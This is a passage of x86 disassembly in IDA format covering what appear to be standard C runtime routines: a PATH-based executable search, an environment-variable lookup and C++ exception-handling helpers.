cmp dword ptr [eax], 2
jnz loc_431051
push 2Fh
push [ebp+arg_4]
call sub_4346C4
pop ecx
test eax, eax
pop ecx
jnz loc_431051
push offset aPath ; "PATH"
call sub_4311F2
mov edi, eax
pop ecx
test edi, edi
jz loc_431051
push 104h
call sub_4296E8
mov esi, eax
pop ecx
test esi, esi
jz loc_431051
push ebx
mov ebx, 103h
push ebx
push esi
push edi
loc_430F6F: ; CODE XREF: sub_430EF3+151j
call sub_434650
add esp, 0Ch
mov [ebp+var_4], eax
test eax, eax
jz loc_431049
cmp byte ptr [esi], 0
jz loc_431049
push esi
call sub_4292D0
lea edi, [eax+esi-1]
pop ecx
mov al, [edi]
cmp al, 5Ch
jnz short loc_430FAA
push 5Ch
push esi
call sub_4345DE
pop ecx
cmp edi, eax
pop ecx
jmp short loc_430FAC
; ---------------------------------------------------------------------------
loc_430FAA: ; CODE XREF: sub_430EF3+A7j
cmp al, 2Fh
loc_430FAC: ; CODE XREF: sub_430EF3+B5j
jz short loc_430FBB
push offset asc_44DA9C ; "\\"
push esi
call sub_42A510
pop ecx
pop ecx
loc_430FBB: ; CODE XREF: sub_430EF3:loc_430FACj
push esi
call sub_4292D0
push [ebp+arg_4]
mov edi, eax
call sub_4292D0
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_431049
push [ebp+arg_4]
push esi
call sub_42A510
push [ebp+arg_C]
push [ebp+arg_8]
push esi
push [ebp+arg_0]
call sub_431058
add esp, 18h
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_431049
call sub_42F049
cmp dword ptr [eax], 2
jz short loc_43103F
push 5Ch
push esi
call sub_4346C4
pop ecx
cmp esi, eax
pop ecx
jz short loc_431020
push 2Fh
push esi
call sub_4346C4
pop ecx
cmp esi, eax
pop ecx
jnz short loc_431049
loc_431020: ; CODE XREF: sub_430EF3+11Dj
lea edi, [esi+1]
push 5Ch
push edi
call sub_4346C4
pop ecx
cmp edi, eax
pop ecx
jz short loc_43103F
push 2Fh
push edi
call sub_4346C4
pop ecx
cmp edi, eax
pop ecx
jnz short loc_431049
loc_43103F: ; CODE XREF: sub_430EF3+10Fj
; sub_430EF3+13Cj
push ebx
push esi
push [ebp+var_4]
jmp loc_430F6F
; ---------------------------------------------------------------------------
loc_431049: ; CODE XREF: sub_430EF3+89j
; sub_430EF3+92j ...
push esi
call sub_429822
pop ecx
pop ebx
loc_431051: ; CODE XREF: sub_430EF3+21j
; sub_430EF3+2Fj ...
mov eax, [ebp+var_8]
pop edi
pop esi
leave
retn
sub_430EF3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431058 proc near ; CODE XREF: sub_42B019+4Fp
; sub_430EF3+13p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
push 5Ch
push ebx
mov edi, ebx
call sub_4345DE
push 2Fh
push ebx
mov esi, eax
call sub_4345DE
add esp, 10h
test eax, eax
jnz short loc_4310C3
test esi, esi
jnz short loc_4310CD
push 3Ah
push ebx
call sub_4346C4
mov esi, eax
pop ecx
test esi, esi
pop ecx
jnz short loc_4310CD
push ebx
call sub_4292D0
add eax, 3
push eax
call sub_4296E8
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_431126
push offset a__0 ; ".\\"
push edi
call sub_42A500
push ebx
push edi
call sub_42A510
add esp, 10h
lea esi, [edi+2]
jmp short loc_4310CD
; ---------------------------------------------------------------------------
loc_4310C3: ; CODE XREF: sub_431058+24j
test esi, esi
jz short loc_4310CB
cmp eax, esi
jbe short loc_4310CD
loc_4310CB: ; CODE XREF: sub_431058+6Dj
mov esi, eax
loc_4310CD: ; CODE XREF: sub_431058+28j
; sub_431058+38j ...
or [ebp+var_8], 0FFFFFFFFh
push 2Eh
push esi
call sub_4345DE
pop ecx
test eax, eax
pop ecx
jz short loc_43110C
push 0
push edi
call sub_42A5F0
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz loc_43118E
push [ebp+arg_C]
push [ebp+arg_8]
push edi
push [ebp+arg_0]
call sub_4311A1
add esp, 10h
mov [ebp+var_8], eax
jmp loc_43118E
; ---------------------------------------------------------------------------
loc_43110C: ; CODE XREF: sub_431058+85j
push edi
call sub_4292D0
add eax, 5
push eax
call sub_4296E8
mov ebx, eax
pop ecx
test ebx, ebx
pop ecx
mov [ebp+var_4], ebx
jnz short loc_43112B
loc_431126: ; CODE XREF: sub_431058+4Fj
or eax, 0FFFFFFFFh
jmp short loc_43119C
; ---------------------------------------------------------------------------
loc_43112B: ; CODE XREF: sub_431058+CCj
push edi
push ebx
call sub_42A500
push edi
call sub_4292D0
mov esi, eax
add esp, 0Ch
add esi, ebx
mov ebx, offset off_4538AC
loc_431144: ; CODE XREF: sub_431058+10Fj
push dword ptr [ebx]
push esi
call sub_42A500
push 0
push [ebp+var_4]
call sub_42A5F0
add esp, 10h
cmp eax, 0FFFFFFFFh
jnz short loc_43116B
sub ebx, 4
cmp ebx, offset off_4538A0
jge short loc_431144
jmp short loc_431182
; ---------------------------------------------------------------------------
loc_43116B: ; CODE XREF: sub_431058+104j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+var_4]
push [ebp+arg_0]
call sub_4311A1
add esp, 10h
mov [ebp+var_8], eax
loc_431182: ; CODE XREF: sub_431058+111j
push [ebp+var_4]
call sub_429822
mov ebx, [ebp+arg_4]
pop ecx
loc_43118E: ; CODE XREF: sub_431058+94j
; sub_431058+AFj
cmp edi, ebx
jz short loc_431199
push edi
call sub_429822
pop ecx
loc_431199: ; CODE XREF: sub_431058+138j
mov eax, [ebp+var_8]
loc_43119C: ; CODE XREF: sub_431058+D1j
pop edi
pop esi
pop ebx
leave
retn
sub_431058 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4311A1 proc near ; CODE XREF: sub_431058+A4p
; sub_431058+11Fp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push [ebp+arg_4]
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_C]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_434944
add esp, 14h
cmp eax, 0FFFFFFFFh
jnz short loc_4311C6
or eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4311C6: ; CODE XREF: sub_4311A1+1Fj
push esi
push [ebp+arg_8]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_43475B
push [ebp+arg_C]
mov esi, eax
call sub_429822
push [ebp+arg_8]
call sub_429822
add esp, 18h
mov eax, esi
pop esi
pop ebp
retn
sub_4311A1 endp
; =============== S U B R O U T I N E =======================================
sub_4311F2 proc near ; CODE XREF: sub_42B019+Dp
; sub_430EF3+4Ep
arg_0 = dword ptr 4
push esi
push 0Ch
call sub_42DA1F
push [esp+8+arg_0]
call sub_431213
push 0Ch
mov esi, eax
call sub_42DA80
add esp, 0Ch
mov eax, esi
pop esi
retn
sub_4311F2 endp
; =============== S U B R O U T I N E =======================================
sub_431213 proc near ; CODE XREF: sub_4311F2+Cp
; sub_4338E9+31p
arg_0 = dword ptr 4
cmp dword_676EA8, 0
push ebx
push esi
mov esi, dword_6769CC
push edi
jz short loc_43128A
test esi, esi
jnz short loc_431244
cmp dword_6769D4, esi
jz short loc_43128A
call sub_434B89
test eax, eax
jnz short loc_43128A
mov esi, dword_6769CC
test esi, esi
jz short loc_43128A
loc_431244: ; CODE XREF: sub_431213+14j
mov ebx, [esp+0Ch+arg_0]
test ebx, ebx
jz short loc_43128A
push ebx
call sub_4292D0
pop ecx
mov edi, eax
loc_431255: ; CODE XREF: sub_431213+6Dj
mov eax, [esi]
test eax, eax
jz short loc_43128A
push eax
call sub_4292D0
cmp eax, edi
pop ecx
jbe short loc_43127D
mov eax, [esi]
cmp byte ptr [eax+edi], 3Dh
jnz short loc_43127D
push edi
push ebx
push eax
call sub_434B4A
add esp, 0Ch
test eax, eax
jz short loc_431282
loc_43127D: ; CODE XREF: sub_431213+51j
; sub_431213+59j
add esi, 4
jmp short loc_431255
; ---------------------------------------------------------------------------
loc_431282: ; CODE XREF: sub_431213+68j
mov eax, [esi]
lea eax, [eax+edi+1]
jmp short loc_43128C
; ---------------------------------------------------------------------------
loc_43128A: ; CODE XREF: sub_431213+10j
; sub_431213+1Cj ...
xor eax, eax
loc_43128C: ; CODE XREF: sub_431213+75j
pop edi
pop esi
pop ebx
retn
sub_431213 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431290 proc near ; CODE XREF: ?9:0042B4C7p
; sub_42B530+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_4312A6
call sub_431B5D
loc_4312A6: ; CODE XREF: sub_431290+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_4312CE
cmp dword ptr [esi+4], 0
jz short loc_431324
cmp [ebp+arg_14], 0
jnz short loc_431324
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_4315E5
add esp, 10h
jmp short loc_431324
; ---------------------------------------------------------------------------
loc_4312CE: ; CODE XREF: sub_431290+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_431324
cmp dword ptr [eax], 0E06D7363h
jnz short loc_431308
cmp [eax+14h], edi
jbe short loc_431308
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_431308
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_431327
; ---------------------------------------------------------------------------
loc_431308: ; CODE XREF: sub_431290+4Aj
; sub_431290+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_43132B
add esp, 20h
loc_431324: ; CODE XREF: sub_431290+23j
; sub_431290+29j ...
push 1
pop eax
loc_431327: ; CODE XREF: sub_431290+76j
pop edi
pop esi
pop ebp
retn
sub_431290 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43132B proc near ; CODE XREF: sub_431290+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_43134B
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_431350
loc_43134B: ; CODE XREF: sub_43132B+16j
call sub_431B5D
loc_431350: ; CODE XREF: sub_43132B+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_4314B3
cmp dword ptr [esi+10h], 3
jnz short loc_4313D0
cmp [esi+14h], edi
jnz short loc_4313D0
cmp dword ptr [esi+1Ch], 0
jnz short loc_4313D0
call sub_42E41E
cmp dword ptr [eax+6Ch], 0
jz loc_4314AE
call sub_42E41E
mov esi, [eax+6Ch]
call sub_42E41E
mov eax, [eax+70h]
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_434BF7
pop ecx
test eax, eax
pop ecx
jnz short loc_4313B2
call sub_431B5D
loc_4313B2: ; CODE XREF: sub_43132B+80j
cmp [esi], ebx
jnz loc_4314B3
cmp dword ptr [esi+10h], 3
jnz short loc_4313D0
cmp [esi+14h], edi
jnz short loc_4313D0
cmp dword ptr [esi+1Ch], 0
jnz short loc_4313D0
call sub_431B5D
loc_4313D0: ; CODE XREF: sub_43132B+41j
; sub_43132B+46j ...
cmp [esi], ebx
jnz loc_4314B3
cmp dword ptr [esi+10h], 3
jnz loc_4314B3
cmp [esi+14h], edi
jnz loc_4314B3
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_42B680
add esp, 14h
mov ebx, eax
loc_431407: ; CODE XREF: sub_43132B+16Ej
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_43149E
cmp [ebx], edi
jg short loc_431493
cmp edi, [ebx+4]
jg short loc_431493
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_431490
loc_43142C: ; CODE XREF: sub_43132B+13Dj
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_43145D
loc_43143E: ; CODE XREF: sub_43132B+130j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_431588
add esp, 0Ch
test eax, eax
jnz short loc_43146C
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_43143E
loc_43145D: ; CODE XREF: sub_43132B+111j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_43142C
jmp short loc_431490
; ---------------------------------------------------------------------------
loc_43146C: ; CODE XREF: sub_43132B+125j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_431699
add esp, 2Ch
loc_431490: ; CODE XREF: sub_43132B+FFj
; sub_43132B+13Fj
mov edi, [ebp+var_10]
loc_431493: ; CODE XREF: sub_43132B+EAj
; sub_43132B+EFj
inc [ebp+var_4]
add ebx, 14h
jmp loc_431407
; ---------------------------------------------------------------------------
loc_43149E: ; CODE XREF: sub_43132B+E2j
cmp [ebp+arg_14], 0
jz short loc_4314AE
push 1
push esi
call sub_431A1D
pop ecx
pop ecx
loc_4314AE: ; CODE XREF: sub_43132B+57j
; sub_43132B+177j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4314B3: ; CODE XREF: sub_43132B+37j
; sub_43132B+89j ...
cmp [ebp+arg_14], 0
jnz short loc_4314D9
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_4314DE
add esp, 20h
jmp short loc_4314AE
; ---------------------------------------------------------------------------
loc_4314D9: ; CODE XREF: sub_43132B+18Cj
jmp sub_431AFC
sub_43132B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4314DE proc near ; CODE XREF: sub_43132B+1A4p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
call sub_42E41E
cmp dword ptr [eax+68h], 0
jz short loc_431511
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_42B555
add esp, 1Ch
test eax, eax
jnz short loc_431584
loc_431511: ; CODE XREF: sub_4314DE+10j
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_42B680
add esp, 14h
mov esi, eax
loc_43152D: ; CODE XREF: sub_4314DE+A4j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_431584
cmp edi, [esi]
jl short loc_43157C
cmp edi, [esi+4]
jg short loc_43157C
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_431556
cmp byte ptr [ecx+8], 0
jnz short loc_43157C
loc_431556: ; CODE XREF: sub_4314DE+70j
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_431699
add esp, 2Ch
loc_43157C: ; CODE XREF: sub_4314DE+59j
; sub_4314DE+5Ej ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_43152D
; ---------------------------------------------------------------------------
loc_431584: ; CODE XREF: sub_4314DE+31j
; sub_4314DE+55j
pop edi
pop esi
leave
retn
sub_4314DE endp
; =============== S U B R O U T I N E =======================================
sub_431588 proc near ; CODE XREF: sub_43132B+11Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_4315DF
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_4315DF
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_4315B9
add ecx, 8
push ecx
push edx
call sub_42B190
pop ecx
test eax, eax
pop ecx
jnz short loc_4315DB
loc_4315B9: ; CODE XREF: sub_431588+1Fj
test byte ptr [esi], 2
jz short loc_4315C3
test byte ptr [edi], 8
jz short loc_4315DB
loc_4315C3: ; CODE XREF: sub_431588+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_4315D2
test byte ptr [edi], 1
jz short loc_4315DB
loc_4315D2: ; CODE XREF: sub_431588+43j
test al, 2
jz short loc_4315DF
test byte ptr [edi], 2
jnz short loc_4315DF
loc_4315DB: ; CODE XREF: sub_431588+2Fj
; sub_431588+39j ...
xor eax, eax
jmp short loc_4315E2
; ---------------------------------------------------------------------------
loc_4315DF: ; CODE XREF: sub_431588+Bj
; sub_431588+14j ...
push 1
pop eax
loc_4315E2: ; CODE XREF: sub_431588+55j
pop edi
pop esi
retn
sub_431588 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4315E5 proc near ; CODE XREF: sub_431290+34p
; sub_431699+42p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4376C0
push offset sub_42ACF4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_431617: ; CODE XREF: sub_4315E5+8Aj
cmp esi, [ebp+arg_C]
jz short loc_431671
cmp esi, 0FFFFFFFFh
jle short loc_431626
cmp esi, [edi+4]
jl short loc_43162B
loc_431626: ; CODE XREF: sub_4315E5+3Aj
call sub_431B5D
loc_43162B: ; CODE XREF: sub_4315E5+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
jz short loc_431646
push 103h
push ebx
push eax
call sub_431AB0
loc_431646: ; CODE XREF: sub_4315E5+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_431666
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_431683
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_431666: ; CODE XREF: sub_4315E5+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_431617
; ---------------------------------------------------------------------------
loc_431671: ; CODE XREF: sub_4315E5+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4315E5 endp
; =============== S U B R O U T I N E =======================================
sub_431683 proc near ; CODE XREF: sub_4315E5+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_431694
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_431694: ; CODE XREF: sub_431683+Cj
jmp sub_431AFC
sub_431683 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431699 proc near ; CODE XREF: sub_43132B+15Dp
; sub_4314DE+96p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_4316BB
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_431859
add esp, 10h
loc_4316BB: ; CODE XREF: sub_431699+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_4316C7
push edi
jmp short loc_4316CA
; ---------------------------------------------------------------------------
loc_4316C7: ; CODE XREF: sub_431699+29j
push [ebp+arg_24]
loc_4316CA: ; CODE XREF: sub_431699+2Cj
call sub_42B457
mov esi, [ebp+arg_1C]
push dword ptr [esi]
push [ebp+arg_10]
push [ebp+arg_C]
push edi
call sub_4315E5
mov eax, [esi+4]
push 100h
push [ebp+arg_20]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push [ebp+arg_10]
push [ebp+arg_8]
push edi
push [ebp+arg_0]
call sub_431714
add esp, 2Ch
test eax, eax
jz short loc_43170F
push edi
push eax
call sub_42B415
loc_43170F: ; CODE XREF: sub_431699+6Dj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_431699 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431714 proc near ; CODE XREF: sub_431699+63p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4376D0
push offset sub_42ACF4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_10]
mov [ebp+var_2C], ebx
and [ebp+var_24], 0
mov esi, [ebp+arg_4]
mov eax, [esi-4]
mov [ebp+var_28], eax
call sub_42E41E
mov eax, [eax+6Ch]
mov [ebp+var_1C], eax
call sub_42E41E
mov eax, [eax+70h]
mov [ebp+var_20], eax
call sub_42E41E
mov edi, [ebp+arg_0]
mov [eax+6Ch], edi
call sub_42E41E
mov ecx, [ebp+arg_8]
mov [eax+70h], ecx
and [ebp+var_4], 0
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push ebx
push [ebp+arg_C]
push esi
call sub_42B4DC
add esp, 14h
mov [ebp+var_2C], eax
and [ebp+var_4], 0
or [ebp+var_4], 0FFFFFFFFh
call sub_4317E1
mov eax, [ebp+var_2C]
loc_4317AA: ; CODE XREF: ?9:004317D9j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_431714 endp
; =============== S U B R O U T I N E =======================================
sub_4317B9 proc near ; DATA XREF: ?9:004376E0o
push dword ptr [ebp-14h]
call sub_43182F
pop ecx
retn
sub_4317B9 endp
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_42AC3E
pop ecx
pop ecx
xor eax, eax
jmp short loc_4317AA
; ---------------------------------------------------------------------------
loc_4317DB: ; DATA XREF: ?9:004376D8o
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; =============== S U B R O U T I N E =======================================
sub_4317E1 proc near ; CODE XREF: sub_431714+8Ep
mov eax, [ebp-28h]
mov [esi-4], eax
call sub_42E41E
mov ecx, [ebp-1Ch]
mov [eax+6Ch], ecx
call sub_42E41E
mov ecx, [ebp-20h]
mov [eax+70h], ecx
cmp dword ptr [edi], 0E06D7363h
jnz short locret_43182E
cmp dword ptr [edi+10h], 3
jnz short locret_43182E
cmp dword ptr [edi+14h], 19930520h
jnz short locret_43182E
cmp dword ptr [ebp-24h], 0
jnz short locret_43182E
cmp dword ptr [ebp-2Ch], 0
jz short locret_43182E
call sub_42ACA6
push eax
push edi
call sub_431A1D
pop ecx
pop ecx
locret_43182E: ; CODE XREF: sub_4317E1+22j
; sub_4317E1+28j ...
retn
sub_4317E1 endp
; =============== S U B R O U T I N E =======================================
sub_43182F proc near ; CODE XREF: sub_4317B9+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_431856
cmp dword ptr [eax+10h], 3
jnz short loc_431856
cmp dword ptr [eax+14h], 19930520h
jnz short loc_431856
cmp dword ptr [eax+1Ch], 0
jnz short loc_431856
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_431856: ; CODE XREF: sub_43182F+Cj
; sub_43182F+12j ...
xor eax, eax
retn
sub_43182F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431859 proc near ; CODE XREF: sub_431699+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4376E8
push offset sub_42ACF4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_431A02
cmp byte ptr [eax+8], 0
jz loc_431A02
mov eax, [ecx+8]
test eax, eax
jz loc_431A02
mov edx, [ebp+arg_4]
lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_4318F6
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_434BF7
pop ecx
pop ecx
test eax, eax
jz loc_4319F9
push 1
push edi
call sub_434C13
pop ecx
pop ecx
test eax, eax
jz loc_4319F9
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_4318E7: ; CODE XREF: sub_431859+F5j
push eax
call sub_431A84
pop ecx
pop ecx
mov [edi], eax
jmp loc_4319FE
; ---------------------------------------------------------------------------
loc_4318F6: ; CODE XREF: sub_431859+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_431950
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
call sub_434BF7
pop ecx
pop ecx
test eax, eax
jz loc_4319F9
push 1
push edi
call sub_434C13
pop ecx
pop ecx
test eax, eax
jz loc_4319F9
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_42B9C0
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_4319FE
mov eax, [edi]
test eax, eax
jz loc_4319FE
add esi, 8
push esi
jmp short loc_4318E7
; ---------------------------------------------------------------------------
loc_431950: ; CODE XREF: sub_431859+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_431998
call sub_434BF7
pop ecx
pop ecx
test eax, eax
jz loc_4319F9
push 1
push edi
call sub_434C13
pop ecx
pop ecx
test eax, eax
jz short loc_4319F9
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_431A84
pop ecx
pop ecx
push eax
push edi
call sub_42B9C0
add esp, 0Ch
jmp short loc_4319FE
; ---------------------------------------------------------------------------
loc_431998: ; CODE XREF: sub_431859+103j
call sub_434BF7
pop ecx
pop ecx
test eax, eax
jz short loc_4319F9
push 1
push edi
call sub_434C13
pop ecx
pop ecx
test eax, eax
jz short loc_4319F9
push dword ptr [esi+18h]
call sub_434C2F
pop ecx
test eax, eax
jz short loc_4319F9
test byte ptr [esi], 4
